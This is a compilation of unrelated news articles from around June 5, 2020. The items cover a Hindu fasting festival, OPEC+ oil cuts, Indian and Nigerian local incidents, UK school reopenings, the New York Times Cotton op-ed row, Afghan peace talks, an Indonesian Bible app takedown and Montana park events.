As per the Purnimanta calendar, Vat Savitri Vrat is observed during Jyeshtha Amavasya, coinciding with Shani Jayanti. In Amanta calendar (which is followed in mostly South India, Maharashtra), Vat Savitri Vrat, also known as Vat Purnima Vrat is observed on Jyeshtha Purnima.

ALSO READ: Vat Purnima Vrat 2020: Tithi, puja vidhi and legend associated with the festival

Therefore, in Maharashtra, Gujarat, South India - Vat Savitri Vrat is celebrated by married women 15 days after it is observed in most of North India on Jyeshtha Amavasya. But rest of the rituals remain more or less the same, depending upon the region and traditions.

This year, Vat Purnima Vrat is on June 5.

Vat Savitri Purnima Muhurat:

Vata Savitri Purnima on Friday, June 5, 2020

Vat Savitri Amavasya Vrat on Friday, May 22, 2020

Purnima Tithi Begins - 03:15 AM on Jun 05, 2020

Purnima Tithi Ends - 12:41 AM on Jun 06, 2020

(as per drikpanchang.com)

Vat Savitri Vrat legend:

A childless Royal couple Aswapati and Malavi worshipped Lord Savitra to seek his blessings. They were blessed with a daughter and she was named Savitri.

She grew up to be a very beautiful woman and was given the liberty to marry a man of her choice. She chose Satyavan. Sage Narada informs her father that she has chosen the best man but he is not suitable for her because he is short-lived. Even after learning about Satyavan's short life-span, Savitri decides to marry him.

Three days before his predicted end, Savitri decides to do penance by fasting. Three days later, as predicted, Satyavan breathes his last. He falls on Savitri's lap while cutting wood in the forest where they had been living for long. Savitri places his lifeless body under a banyan tree and starts worshipping to get her husband's life back.

Lord Yama emerges to take his soul but Savitri stops him. On seeing him, she heaps praise on him and appreciates him for upholding Dharma. Impressed by her words, Yama decides to grant her a boon stating that she ask for anything but the life of Satyavan.

She asks for three boons -1) eye-sight of her father-in-law Dyumatsen 2) many more children for her father 3) and a hundred children for her and Satyavan.

Lord Yama lands in a dilemma and gets confused by her wish. He grants another boon but fails to specify that she can't ask for Satyavan's life.

Savitri quickly asks for Satyavan's life and looking at her devotion, Lord Yama restores it. She is hailed for winning her husband's life back from the hands of Lord Yama.

Hence married women observe this fast to recall Savitri's determination and thereby pray for their husband's well-being. Also, there is an extreme importance of worshipping and performing the puja rituals near a banyan tree on this day.

Here's wishing all our readers a very happy Vat Purnima Vrat!
WASHINGTON (dpa-AFX) - Oil prices were on the rise Friday, heading for a sixth weekly gain after reports that OPEC+ reached a tentative agreement to extend record production cuts until the end of July. Benchmark Brent crude jumped 2.6 percent to $41.02 a barrel, while U.S. crude futures were up 1.7 percent at $38.06. A video conference of a group of leading oil producers, known as OPEC+, is likely to be held on Saturday to discuss the level of oil output reduction. 'We have started preparations for the meeting, OPEC will gather at 2 pm, while non-OPEC - at 4 pm Vienna time,' TASS reported citing sources. It was reported that Russia and Saudi Arabia had already agreed extension of the agreement for at least one month amid disputes about quota busting by various members of the group, notably Iraq. Investors also await Baker Hughes international rig count data for further direction. Last week, the number of active U.S. rigs drilling of oil declined by 15 to 222, dropping for 11 weeks in a row, suggesting further declines in domestic crude output. Copyright RTT News/dpa-AFX

Werbehinweise: Die Billigung des Basisprospekts durch die BaFin ist nicht als ihre Befurwortung der angebotenen Wertpapiere zu verstehen. Wir empfehlen Interessenten und potenziellen Anlegern den Basisprospekt und die Endgultigen Bedingungen zu lesen, bevor sie eine Anlageentscheidung treffen, um sich moglichst umfassend zu informieren, insbesondere uber die potenziellen Risiken und Chancen des Wertpapiers. Sie sind im Begriff, ein Produkt zu erwerben, das nicht einfach ist und schwer zu verstehen sein kann.
By Express News Service

BALASORE: An inmate of a quarantine centre in Balasore district died after being allegedly refused ambulance service on Wednesday night.He was identified as Bipin Bihari Mallick (23) of Jalada village within Khaira police limits. Bipin along with his brother Madhusudan Mallick had returned from Mumbai on May 29 and as per norms, were lodged at the temporary medical centre (TMC) set up on the premises of Jalada Nodal School.

Sources said on Wednesday evening, Bipin complained of severe chest pain. His brother, who was also staying in the TMC, immediately rang up 104 and 108 helpline numbers and requested for an ambulance to shift him to the local hospital. However, the persons who received the calls allegedly refused to send any ambulance to the TMC centre since it was a prohibited zone. Without any delay, Madhusudan arranged a bike and took Bipin to the community health centre (CHC) in Soro. However, Bipin died before his treatment could start.

Madhusudan alleged that the CHC doctor first refused to admit his brother in the hospital since he was staying in a quarantine centre. The delay in providing treatment by the doctor caused my brothers death, he claimed.

However, doctor of Soro CHC Satyanarayan Nayak refuted the allegation. Since the person was not affected by coronavirus, he was admitted to the CHC. The cause of his death was heart attack, he said.

On being informed, Khaira police reached the CHC and started investigation. Bipins body was sent for postmortem. No police complaint was made by Bipins family members till reports last came in.
Mohammed Adamu, inspector-general of police (IGP), has given an order that the robbers who attacked Isanlu police station in Kogi state, killing eight policemen be fished out.

Eight policemen, including one civilian, were killed in Isanlu when a gang of robbers attacked a bank in the town on Thursday.

The divisional police officer (DPO) was among the officers killed when the armed robbers invaded the police station, setting all the detainees free before killing the officers.

Upon leaving the police station, they invaded a bank and carted away an undisclosed amount of money.

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The Nigeria police force in a few tweets via its official Twitter handle revealed that the IGP has directed a full-scale manhunt for the perpetrators of the attack.

A team of detectives from the Intelligence Response Team (IRT), the Special Tactical Squad (STS) and Federal-SARS were also deployed by the IGP to the state to arrest the perpetrators.

The IGP directed a review of the security arrangement in the state to prevent future incidents.

The Inspector-General of Police, IGP M.A Adamu, NPM, mni has ordered a full-scale manhunt for the perpetrators of the attack on Isanlu Police station and a commercial bank in Yagba East LGA of Kogi State on 4th June, 2020, the tweet read.

Read Also: Police Confirms Arrest Of Officer Who Shot, Killed 16-Year-Old Tina

The IGP while condemning the incident, has deployed a team of crack detectives from the Intelligence Response Team (IRT), the Special Tactical Squad (STS) and Federal-SARS to Kogi State to ensure that the criminals are apprehended and brought to book.

The IGP has also directed the AIG of Police in charge of the Zone-8 Police Headquarters, Lokoja, AIG Yunana Babas, mni to immediately assess and review the security arrangement in Kogi State & environ so as to prevent any future occurrence of such untoward incident in the State.

The DPO of Isanlu, two policewomen, and four other police officers were killed at the station while another police officer was killed within the banks premises.

The other victim, a male civilian, died when a stray bullet hit him.
The Johnson Conservative government's push to partially reopen schools from June 1 for children in nursery, Foundation Stage, Year 1 and Year 6 has been dealt a blow after hundreds of thousands of parents kept their children at home.

A survey by the National Education Union (NEU) found that more than two in five schools (44 percent) decided against admitting more pupils Monday.

According to figures obtained by the Guardian, up to 90 percent of primary schools in some areas are remaining closed to more pupils amid rising fears about the spread of coronavirus.

In large parts of the northeast of England, not a single primary school opened to more pupils on the governments target date for reopening. Data from 11 of the 12 largest local authorities in the regionwhich has the highest COVID-19 infection rate in the UKshowed just 12 percent of the 856 primary schools admitted additional pupils Monday.

The Guardian reported, In County Durham, Gateshead and Hartlepool, not a single primary school out of 309 reopened to more pupils.  In Newcastle, officials said only two of its 73 primary schools might be able to admit more pupils before next week.

In the northwest of England, the proportion of schools opening to more pupils was even lower, at just 8 percent, according to the NEU.

The reopening of schools has nothing to do with genuine concern by the government for the education and well-being of children. Educators and children are being sent into unsafe environments as part of Prime Minister Boris Johnsons back to work drive to boost profits for the rich.

The conditions for the children who have been forced to return are distressing, according to accounts from many staff. The measures have transformed schools into holding pensa precondition for returning the parents of the children to work.

There is growing anxiety and high levels of stress as educators desperately attempt to maintain social distancing. There is also increasing anger, revealed in social media and comments sent to the World Socialist Web Site, directed at the teaching unions for not acting to protect their members.

In response to a Zoom webinar held by the NEU on Wednesdaytwo days after the re-opening of schoolsmany on Facebook expressed hostility to the inaction of the union. Questions repeatedly posted included, What are you doing about it? and What have you done about it?

One member, Haider, commented, What a useless union. Can we get a refund on our union fees weve paid in over the years? All that money to pay a lion with no teeth for protection of pupils before next week.

Leanne raised, Okay so I want to know when will they ballot to strike? Stop the talking its getting us nowhere. Lets get the action going for gods sake!

Janice said, Its definitely not safe ... I thought the union was going to try and stop schools opening on Monday but no!

Others noted the attack on their working conditions and the levels of stress being imposed. Kathy said, Well thats not exactly helpful for those of us already back in classrooms. I have really tried to be supportive & encouraging of Union engagement in this but kinda a bit late for us heading into early years or Year 6 groups THIS WEEK. And school leaders are taking the brunt of the burden on who should be back & when for both pupils & more crucially staffridiculously stressful.

Rebecca commented, My school have been back two days alreadyall doing longer hours as school opening earlier and finishing later, now have no PPA [planning, preparation and assessment] time and have 10 mins break in the morning and 15 mins for lunch! (If they are lucky!) Would like to know what the union is going to do about the working conditions of its members?

Mary, a teaching assistant in a primary school in the southeast sent comments to the WSWS on the conditions facing children and staff on reopening. Her school has only extended attendance to Year 6 pupils and only 30 of those have attended.

Children are split into bubble groups and contained in the same classroom. The desks are spread out with equipment packs per child, no sharing is allowed. Hand gel is provided at every entrance and on each desk to be used after each activity. Children are not to leave their desks for any reason other than to go to the toilet.

Each class has a designated play area that they have to stick to. Teachers cannot leave their bubble and must stay with the children during break times. During wet weather, the children have to remain at their desks for playtimes.

Windows and doors have to be kept open at all times. This is very problematic when it is raining, like yesterday with heavy showers. Desks must also be cleaned during break times. Door handles must be disinfected throughout the day.

During playtimes, however, social distancing goes out the window, as children naturally want to be together and play with each other.

Alan, a secondary teacher who has worked through the lockdown to support key workers and vulnerable children, told the WSWS, The past 10 weeks have been extremely stressful for all staff from the headteacher to each TA [teaching assistant].

The constant changes to advice and expectations have left heads having to draft and redraft plans to ensure the safety of their staff and the pupils with stretched budgets. Tape has been put on the floor in front of the canteen to ensure the pupils keep two metres away. This is just to show that there is something being done to follow the governments advice.

In the staff room, tape has been put around chairs to ensure that staff keep two metres apart. Seeing pupils sit in the canteen with taped crosses showing where they can sit has been heart-breaking.

The Socialist Equality Party warned that the role of the education unions and Labour politicians is to systematically demobilise opposition to the government and prevent a coordinated national movement and break resistance down to the level of local authorities, individual schools and even individual parents and teachers.

In our statement, No to the reopening of schools! Build action committees to safeguard children and teachers! we explained: All the education unions are reporting a growth in membership, with the National Education Union boasting of 20,000 new members and an additional 2,000 reps due to teachers looking for a way to fight back. But the NEU, NASUWT, NAHT and the ASCL all support the staged resumption of classes so that the collective resistance of teachers can be broken down.

Opposition to reopening of schools can and must be the spearhead of an independent movement of the working class against the Johnson government and its murderous back-to-work campaign. We urge educators to study our statement below and contact the SEP for advice and assistance in setting up action committees in your school.
WEST CHESTER-Its what I consider an emergency, said Councilman and Finance and Revenue Committee Chairman Bernie Flynn, while referring to the boroughs finances.

The Finance and Revenue Committee, during Wednesdays special virtual meeting, scrambled to overcome a multi-million dollar deficit and prepare a revised proposed budget for 2020.

Salary freezes, credit card fee payments and eliminating overtime for non-emergencies were all discussed in a bid to overcome the estimated $4.2 million deficit, partly due to the global pandemic.

The committee only makes suggestions and the full borough council will likely consider a replacement budget at the July meeting.

Committee member Nick Allen said that if the borough can balance the budget through cuts and increased income, and does not have to tap into its capitol reserve fund, which is set aside for a rainy day, it would be huge.

The committee considered enacting a salary freeze starting in 2021, for 18 months.

Flynn called a possible freeze as a smart move. Committee member Bill Scott noted such a freeze is a good thought.

Borough Manager Mike Perrone said the freeze could not be performed unilaterally since most employees are union members, including the police department.

We would need to reopen negotiations with unions to consider it, Perrone said.

Any action was tabled by Flynn.

Finance Director Barbara Lionti said that the scheduled annual police raises are set at 4.25 percent for 2021.

Several recently promoted officers, including Chief Jim Morehead, had volunteered to forgo collecting new raises through October.

The committee learned that the borough pays on average a 3 percent fee for those paying parking tickets at Borough Hall or via phone with credit cards. Parking director Clark Elms also told the committee that the borough picks up the 11 cent fee per transaction at the meters, regardless of how long a parker stays.

Allen said that only those paying with credit cards should pay an added fee at Borough Hall and Scott agreed.

No recommendation concerning overtime pay was made to council. Discussion of the issue was carried over to the regular finance committee meeting on Wednesday.

The police department is already understaffed due to injuries and three officers leaving the force. Several officers are expected to retire in the fall.

Mayor Dianne Herrin oversees the police department.

The only way to fill the slots is to bring people in and pay the overtime, Herrin said about police. It is essential, especially if we dont rehire to fill the vacant slots.
After a two-year eventful stint, Baldev Singh Sran, retired as chairman-cum-managing director (CMD) of Punjab State Power Corporation Limited (PSPCL). Senior bureaucrat and principal secretary power, A Venu Prasad, has assumed charge in his place.

Sran, a power engineer, was known for taking decisions on merit, ignoring political considerations. His drive against power theft drew the ire of some ruling party MLAs, with the public welcoming such moves. He brought down the transmission and distribution losses of the PSPCL, and also worked to use resources of private thermal plants for banking of power in winters, for the state to draw in summers.

Baldev Singh Sran, retired as chairman-cum-managing director of PSPCL. In his 2-year eventful stint, he brought down the transmission and distribution losses and worked to use resources of private thermal plants for banking of power in winters, for the state to draw in summers (HT PHOTO)

He remained at loggerheads with private thermal plants over coal-washing and fixed charges. Vocal and firm, Sran took several decisions against the wishes of the state government, including the suspension of a chief engineer. He is privy to the White Paper on establishment of private thermal plants. The Congress government did not present the White Paper in the House in the last assembly session, as some top bureaucrats are reportedly shown in adverse light in the report.

In his failures, he could not restart the Pachwara coal mine in Jharkhand for the utilitys use and could not set up a new power project under the state sector. Before assuming charge as CMD, he had consistently raised the demand for such a project. A section in the distribution wing of power engineers also remained non-cooperative in the implementation of his ideas. Before demitting office, Sran wrote a letter to PSPCL staff, thanking them for their cooperation.

The new CMD, Prasad, had served in this post for more than a year before the selection of Sran. I have assumed charge and ensuring proper supply during paddy sowing is my first priority, said Prasad, who is also principal secretary for water resource and mining, and financial commissioner, excise and taxation.

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Negotiations with Russia remain difficult, but there is hope for holding the Normandy format summit in Berlin this year.

Head of the Office of the President of Ukraine Andriy Yermak made a corresponding statement in a conversation with the media outlets of German Funke Mediengruppe following a visit to Berlin on May 2.

"I am confident that a summit of the heads of state and government of Germany, France, Ukraine and Russia will take place in Berlin this year," Yermak said in an article entitled "Between Putin and Virus" published in the Oldenburger OnlineZeitung on June 4.

According to him, although the dialogue with Moscow is difficult "at some points", it is still held.

Yermak noted that three prisoner swaps in coordination with his Russian negotiating partner Dmitry Kozak had been conducted.

As a next step, Kyiv wants to make a list of representatives of militant-controlled territories that should take part in negotiations within the Trilateral Contact Group (Ukraine, Russia, OSCE). They should be members of civil society and not be appointed by people's republics, Yermak said, explaining that they could be representatives of non-governmental organizations, religious figures, journalists - citizens of Ukraine who do not have a Russian passport and did not take part in hostilities against Kyiv.

"The six-year monopoly of the so-called people's republics on the appointment of representatives of Donbas must end," the official stressed.

He also assessed the epidemiological situation in eastern Ukraine as quite dramatic.

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Friday, June 5, 2020 at 7:29AM

Epic Games is looking to capture the mobile gaming audience with plans to bring the Epic Games Store to Android and iOS. In an interview during GameSpot's Play For All, Epic Games CEO Tim Sweeney talked about this plan to bring its app store to mobile.

"We'd like to bring the [Epic Games] Store to iOS in the future, and we will bring it to Android," Sweeney said. "We think it's a good way to help the industry [move] forward and it's another way where Epic as a game developer had built up this audience around Fortnite and learned how to operate a distribution platform on PC and Android. Now, as we've done with many things from the Unreal Engine to the Epic Online services, we open it up to all other developers to use with their games and are trying to serve the industry and provide a really interesting alternative to the ecosystem."

The developer has been at odds with Google, objecting to its 30% "store tax," which Google levies on paid apps. Sweeney reasons that the company is okay with Apple having something similar because of its innovations and security measures on its App Store, which is a controversial subject when it comes to Android.

Epic Games eventually conceded and brought its popular title, Fortnite, to the Play Store. But with this new plan, it looks like it will be going up against Google again.

Google-certified Android is more relaxed when it comes to using third-party stores. But we're not sure closed-off Apple will allow for this to happen.

Source: GameSpot + SlashGear
OPEC member Saudi Arabia and its ally Russia will try to push laggards such as Iraq and Nigeria to comply with curbs.

The Organization of the Petroleum Exporting Countries and its allies led by Russia will meet on Saturday to discuss extending record oil production cuts and to push laggards such as Iraq and Nigeria to comply with existing curbs.

The producers known as OPEC+ had previously agreed to cut supply by 9.7 million barrels per day (bpd) during May and June to prop up prices that collapsed due to the coronavirus crisis. Cuts have been due to taper to 7.7 million bpd from July to December.

Two OPEC+ sources said Saudi Arabia and Russia had agreed to extend the deeper cuts until the end of July but said Riyadh was also pushing to extend them until the end of August.

The conditions right now warrant hopefully successful meetings, Saudi Energy Minister Prince Abdulaziz bin Salman told Reuters news agency on Friday, adding that coordination was under way to hold the OPEC and OPEC+ meetings on Saturday.

Benchmark Brent crude, which slumped below $20 a barrel in April, was up more than 5 percent on Friday to trade at a three-month high above $42. Prices had slipped earlier this week from recent highs on uncertainty about when OPEC+ would meet.

Saturdays video conferences would start with talks between members of the OPEC at 12:00 GMT and would be followed by a gathering of the OPEC+ group at 14:00 GMT, OPEC said on Friday.

Three OPEC sources said an extension to cuts was contingent on high compliance. They said countries that produced above quota in May and June must promise to adhere to targets and compensate for any earlier overproduction by cutting more in July, August and September.

The energy minister of the United Arab Emirates, Suhail al-Mazrouei, called for improved compliance in a letter to OPEC+.

As a representative of the UAE, I find it disappointing and unacceptable that some of the largest producers with capacity like [Saudi Arabia] and Russia comply 100 percent or more while other major producers do less than 50 percent, he wrote in the letter seen by Reuters.

Iraq, which had one of the worst compliance rates in May according to a Reuters survey of OPEC production, agreed to the additional pledge, OPEC sources said.

The Saudis have been pushing Baghdad hard to comply, one OPEC+ source said. Iraq has agreed to the pledge to improve its full compliance with the cuts.

Baghdad blamed technical reasons and a recent change in its government for weak compliance in May, another OPEC source said.

It was not clear how exactly Iraq would agree with oil majors working on its territory to reduce output further. The country is yet to assign a new oil minister with the finance minister also performing the role of acting oil minister.

Nigeria said in a statement earlier this week it had made concerted efforts to adhere to [its cut] commitment and will continue to do so unequivocally. The country aims to reach full compliance by the end of the month, the countrys Minister of State for Petroleum Resources Timipre Sylva said, adding that they measured their compliance in May at 52 percent.

Mexico, which resisted pressure by other OPEC+ members to cut output by 23 percent or 400,000 bpd, agreed to cut output by 100,000 bpd only for May and June at the April meeting. President Andres Manuel Lopez Obrador said on Friday his country was not in a position to make any additional cuts, but that Energy Minister Rocio Nahle would be taking part in the OPEC+ meeting.

The OPEC+ technical and ministerial committee meetings, which review the market and usually make recommendations on policy, were now scheduled for June 17 and 18, OPEC+ sources said.
Senator Tom Cotton has hit back at the New York Times for running a column calling his op-ed published in the newspaper's own pages 'fascist.'

Times staff columnist Michelle Goldberg published her rebuttal on Friday, titled 'Tom Cottons Fascist Op-Ed,' after the newspaper's staff expressed outrage over Cotton's op-ed.

'I'd like to report an editorial that violates your new policy against publishing editorials that are "contemptuous in tone"' Cotton said in a tweet, referring to a leaked remark from Times Publisher A.G. Sulzberger that Cotton's piece should not have been published.

Cotton's controversial op-ed was a call for President Donald Trump to use the military to crack down on rioting, looting and violence that gripped many cities during protests over the death of George Floyd.

Senator Tom Cotton (left) has hit back at the New York Times for running a column by Michelle Goldberg calling his op-ed published in the newspaper's own pages 'fascist.'

'One thing above all else will restore order to our streets: an overwhelming show of force to disperse, detain and ultimately deter lawbreakers,' Cotton, an Arkansas Republican, wrote in the piece published on Wednesday.

Goldberg responded in her column that the Trump presidency had 'undermined' the newspaper's ability to serve as a forum for competing ideas, 'because theres generally no way to defend the administration without being either bigoted or dishonest.'

She claimed that Cotton 'is calling for what would almost certainly amount to massive violence against his fellow citizens.'

Goldberg's column called Cotton's views 'proto-fascist', while the title of the piece, which is generally written by an editor, outright called the senator's column 'fascist.'

Goldberg's column called Cotton's views 'proto-fascist', while the title of the piece, which is generally written by an editor, outright called the senator's column 'fascist'

The Times posted a mea culpa Thursday over its decision to publish Cotton's incendiary commentary calling for the use of military force against protesters.

The apology came after writers and staff voiced their grievances on Twitter, and more than 300 non-editorial employees planning a virtual walkout for Friday morning.

Jonathan Turley, a law professor at George Washington University, told the Washington Post: 'The attacks on the newspaper capture the rising intolerance for opposing views in our society.'

He said it was 'chilling' that journalists were demanding that certain views should not be published.

'This is akin to priests campaigning against free exercise of religion. . . . I never thought I would see the day where writers called for private censorship of views,' he added.

More than a dozen journalists called in sick on the day after the piece was published, the Guardian reported.

Times journalist Nikole Hannah-Jones tweeted that 'as a black woman, as a journalist, I am deeply ashamed that we ran this.'

Tom Cotton's op-ed was eviscerated on Twitter by the New York Times staffers and many readers declared their intent to stop reading the publication altogether

In an essay on Thursday, Times Opinion Editor James Bennet defended his decision to run Cotton's op-ed.

'Cotton and others in power are advocating the use of the military, and I believe the public would be better equipped to push back if it heard the argument and had the chance to respond to the reasoning,' Bennet wrote.

'Readers who might be inclined to oppose Cottons position need to be fully aware of it, and reckon with it, if they hope to defeat it.'

Eileen Murphy, a spokeswoman for the Times, said Thursday: 'We've examined the piece and the process leading up to its publication.'

'This review made clear that a rushed editorial process led to the publication of an op-ed that did not meet our standards,' Murphy added.

'As a result, we're planning to examine both short-term and long-term changes, to include expanding our fact-checking operation and reducing the number of op-eds we publish.'

However, Times insiders say Cotton's op-ed went through a thorough three-stage vetting process, and was reviewed for clarity, style and fact-checking.

The article was initially defended by publisher AG Sulzberger (left) who said the paper aimed to share 'views from across the spectrum'. The newspaper's opinion page editor James Bennet (right) also defended the decision to publish. 'To me, debating influential ideas openly, rather than letting them go unchallenged, is far more likely to help society reach the right answers,' he said

Disgruntled Times staffers met with management at a town hall meeting Friday where it was learned that the paper disputed a claim that he had pitched the theme of the piece.

'From New York Times town hall: op-ed team pitched the piece to Tom Cotton. Not the other way around' tweeted journalist Patrick Coffee, who claimed to be privy to the information.

A spokeswoman for the New York Times was not immediately available to elaborate on Coffee's remarks when DailyMail.com reached out.

An unnamed staffer in Cotton's office had told the National Review that the senator pitched the theme of the op-ed after he discussed the Insurrection Act on Fox and Friends Monday.

The act authorizes the president to 'employ the military 'or any other means' in 'cases of insurrection, or obstruction to the laws'.
Add Women to Peace Talks, EU and Others Tell Taliban, Afghan Government

By Ayesha Tanzeem June 04, 2020

Eight countries and the European Union have encouraged the Afghan government and Taliban to make sure women participate in upcoming peace negotiations.

The grouping welcomed recent developments that seem to have smoothed the path toward the start of intra-Afghan talks, where Afghans from various political and social factions are expected to negotiate the future of the country with the Taliban.

The embassies of Australia, Canada, the Kingdom of Denmark, the Federal Republic of Germany, the Kingdom of the Netherlands, the Kingdom of Norway, Sweden and Britain, and the delegation of the EU issued a joint press release calling for the inclusion of women in the process.

"History shows peace agreements are more durable and successful when women are fully integrated and engaged. The Islamic Republic of Afghanistan and the Taliban must actively include women in all dimensions of the peace process; leadership councils, negotiating teams, consultative shuras, technical and advisory teams," the press release read.

The document, tweeted Thursday by Swedish Ambassador to Afghanistan Caroline Vicini, also emphasized the role of men as advocates for gender equality.

"The fundamental rights of Afghan women enshrined in the Afghan constitution must be preserved and strengthened as part of the peace process. These include women's rights to work, education, freedom of movement and association and access to health care," it said.

Activists in Afghanistan have long feared that some of the human rights  in particular, the rights of women  may be compromised in the name of peace when negotiating with the Taliban.

The Taliban claim they believe in women's rights to education and work but link them to Islamic laws.

In the 1990s, when the Taliban ruled Afghanistan, women were not allowed to go to school and had to cover themselves in public with a special loose gown called a burqa.

The militant group, through statements and interviews, has led people to believe it has evolved since then and is now more flexible on women's rights and human rights in general.

Intra-Afghan negotiations were supposed to start on March 10 of this year, 10 days after the militant group signed a deal with the United States, but they were delayed.

The end of a political deadlock late last month between President Ashraf Ghani and his rival, Abdullah Abdullah, the announcement of a three-day cease-fire over the Muslim holy festival of Eid al Fitr, and the release of prisoners from both sides has given rise to hope the talks may start sometime this month, albeit via video conferencing due to the novel coronavirus.

Meanwhile, humanitarian aid group Medicines Sans Frontieres, known as Doctors Without Borders, says 15 mothers were killed in last month's attack on a maternity hospital it ran in Kabul.

"Five of these women were in labor and were minutes, or at most hours, from giving birth to their babies," aid an MSF press release issued Wednesday.

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Linkedin Apriza Pinandita (The Jakarta Post) Jakarta  Fri, June 5, 2020 18:47 595 fc6853813033f564188675f8bdc7a6ef 1 National Minang,west-sumatra,Holy-Bible,kitab-suci-Minang,Bible,Christian,Muslim,intolerance Free

The West Sumatra provincial administration is currently under the spotlight after its letter requesting the central government take down a Bible application from a digital distribution service circulated widely, prompting debates in the country.

According to a copy of the letter obtained by The Jakarta Post, which was dated May 28 and addressed to Communication and Information Minister Johnny G. Plate, West Sumatra governor Irwan Prayitno requested the ministry take down an application named Kitab Suci Injil Minangkabau (The Bible in Minangkabau language) that was available on Google Play Store.

He said the existence of the application had caused Minangkabau people  most of whom are Muslim residents of the province  to be uncomfortable.

The application contradicts Minangkabau culture with its philosophy of Adat Basandi Syarak, Syarak Basandi Kitabullah [culture is based on sharia, sharia is based on Quran], Irwan wrote in the letter.

Irwan asked the ministry  through the Informatics Application Directorate General  to take down the app and to prevent similar apps from emerging in the future.

West Sumatra Communication and Information Agency head Jasman Rizal confirmed the request. We appreciated the people who were responsive by giving us information [about the existence of the app], said Jasman as quoted by tribunnews.com on Thursday.

The finding, Jasman added, had been discussed by the West Sumatra office of the Indonesian Ulema Council (MUI) and the West Sumatra governor. As of Wednesday, the application had been taken down from Google Play Store, he said.

The issue has triggered a public uproar, not only from some West Sumatrans but also from the public across the country. The keyword Minang is one of Twitters trending topics in Indonesia, with more than 8,000 tweets as of Friday noon.

What was asked is actually specific, to take down the app which is in the Minang language, the one in Indonesian is left alone [] Why should [we] make a big deal out of this? a user named @adianasrul responded.

A senior journalist in West Sumatra, Syofiardi Bachyul, wrote on his Facebook account that the Minang language was not identical to Islam. He quoted his own writing in 2018, also posted on Facebook, which describes the history of Buddhism in Sumatra, including Minang land, before Islam came to the area.

BAHASA MINANG TIDAK IDENTIK DENGAN AGAMA ISLAM Dulu sebelum Islam masuk ke Ranah Minangkabau pada akhir tahun 1400-an... Dikirim oleh Syofiardi Bachyuljb pada Kamis, 04 Juni 2020

When asked about the issue, MUI secretary-general Anwar Abbas echoed the statement of the West Sumatra governor, which emphasized the religious philosophy that was observed by most Minangkabau people, the one that was guided by Islamic beliefs, despite the fact that 69,253 residents -- or 1.43 percent of West Sumatra residents are Christian, 2010 census data from Statistics Indonesia (BPS) reveal.

So, the guidance of the Minangkabau people is not the Bible. Hopefully, there will not be a Bible [published] in Minangkabau language, Anwar told the Post on Friday.

Meanwhile, Hariyono, the deputy head of the Agency for Pancasila Ideology Education argued that the governors move contradicted the values of Pancasila, which give space for religious freedom.

Every individual is given the freedom to observe their beliefs as long as they do not cause disruption in the public. And of course, some of the residents of West Sumatra are also Christian, and the governor himself is a governor to everyone, not a certain ethnicity or religious belief, he told the Post.

Officials and public figures must be wise to respond to the dynamics of religious life in their surroundings, he said, citing numerous figures from West Sumatra who also upheld diversity during the Indonesian struggle for independence, such as Agus Salim, Mohammad Natsir and Mohammad Hatta.

Hariyono said he believed that holy books could be translated into any language as long as they were not misinterpreted.

Halili Hasan, a researcher from the Setara Institute for Democracy and Peace, responded to the issue by emphasizing the fact that the existence of the application did not violate the law and the Constitution.

The request from the governor could be a bad precedent, as one day it will be used by some groups that do not value diversity to do the same thing, he told the Post.

According to him, the existence of the application is indeed important for the advancement of tolerance and does no harm to Minangkabau culture, which is basically open to interacting with other cultures.

What is dangerous, I think, is the perspective of local political elites and intolerant groups [in West Sumatra] which, for me, are not representative enough for the Minangkabau people and its inclusive culture, he said.

Meanwhile, Religious Affairs Ministry director general for Christian community guidance Thomas Pentury asserted that although the matter was the domain of the Communication and Information Ministry, he wanted the people in West Sumatra to remain in harmony despite the issue, adding that he believed the development of the application had gone through the correct procedure.

We need to see this matter from a positive perspective and I hope that this issue is not being blown up, Thomas said.

Christians in West Sumatra have experienced hardship in trying to establish churches in the province. On Christmas last year, some Catholics and Protestants in Dharmasraya regency in West Sumatra had to get into tough negotiation with the local authority to be able to celebrate Christmas at home.
Montana State Parks will host a Cryptid Hunt scavenger hunt at Lewis & Clark Caverns State Park from 9 a.m. to 4:30 p.m., Saturday, June 6.

In this social-distancing event to celebrate National Trails Day, hikers will explore the short Nature Loop Trail located at the upper picnic area and use their "Guide to Montana Cryptids" booklet to identify the monster plaguing the park. Play the part of a cryptozoologist from a secret society and use your knowledge of animal adaptations to puzzle out which paranormal entity is responsible for the destruction.

Participants will learn about hoop snakes, dingmauls, thunderbirds, bugbears and other supernatural beasts on a scavenger hunt designed to keep park goers safe and healthy.

Monster hunters should wear comfortable hiking clothes and bring hand sanitizer for safely handling the trail clues. The monster booklet and Assignment Briefing document can be found and downloaded on the parks Cryptid Hunt! Facebook event post (@LewisandClarkCaverns). With the books guidance, which comes in both child and adult versions for different levels of challenge, hunters will find clues along the trail that will help them name the monster and save the park. Once you think you know which monster it is, check in at the Cave Visitor Center to see if you got it right.

For details, call the park visitor center at 406-287-3541.

Summer speaker series continues

Montana State Parks and Lewis & Clark Caverns State Park will host two interpretive programs during the weekend of June 6 as part of the summer speaker series at the Caverns.

A free online presentation Earthquakes and Faults of Montana can be viewed via Zoom at 8 to 9 p.m. on Friday, June 5.

Participants can join in by clicking on the Zoom link on the Earthquakes & Faults of Montana Facebook event post on Lewis and Clark Caverns Facebook page (@LewisandClarkCaverns) or by contacting emily.dickerson@mt.gov

Buttes Mike Stickney will discuss the unique underground activity patterns of Big Sky country. Montana is a seismically active state with a long history of damaging earthquakes. The states largest and most destructive earthquakes occurred more than 60 years ago. Ongoing small- to moderate-magnitude earthquakes and about 80 recognized potentially active faults in Montana indicate that the potential for significant future earthquakes is very real.

Stickney operates the Montana Regional Seismic Network for the Montana Bureau of Mines and Geology, where he has worked for the past 40 years studying earthquakes, active faults, and seismic hazards.

Park Ranger Julia Smit will visit the campground for an informal, drop-in program from 4 to 6 p.m. Saturday, June 6.

Check out samples of cave formations at a booth near the campground kiosk, where you can get an up-close look at how these fantastical rocks grow. Learn more about how the dramatic decorations form inside the cave, taking an inside look at the chemistry of crystals.

Just remember to maintain six feet of social distance between staff members and other visitors.

For details, call (406) 287-3541.

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A probe has been launched against a state government employed teacher in Uttar Pradesh after it was found that she had been simultaneously working in 25 schools across the state and earning Rs 1 crore as salaries for over a year. The matter came to light after the state basic education department started creating a database of teachers.

Anamika Shukla is a full-time teacher currently employed at Kasturba Gandhi Balika Vidyalaya. Shukla was registered as a teacher in districts such as Amethi, Ambedkarnagar, Raebareli, Prayahraj, Aligarh and others.

According to India Today TV, Shukla had managed to fraudulently withdraw a salary of around Rs 1 crore from the department for a period of 13 months till February this year even though the department database is on a digital platform.

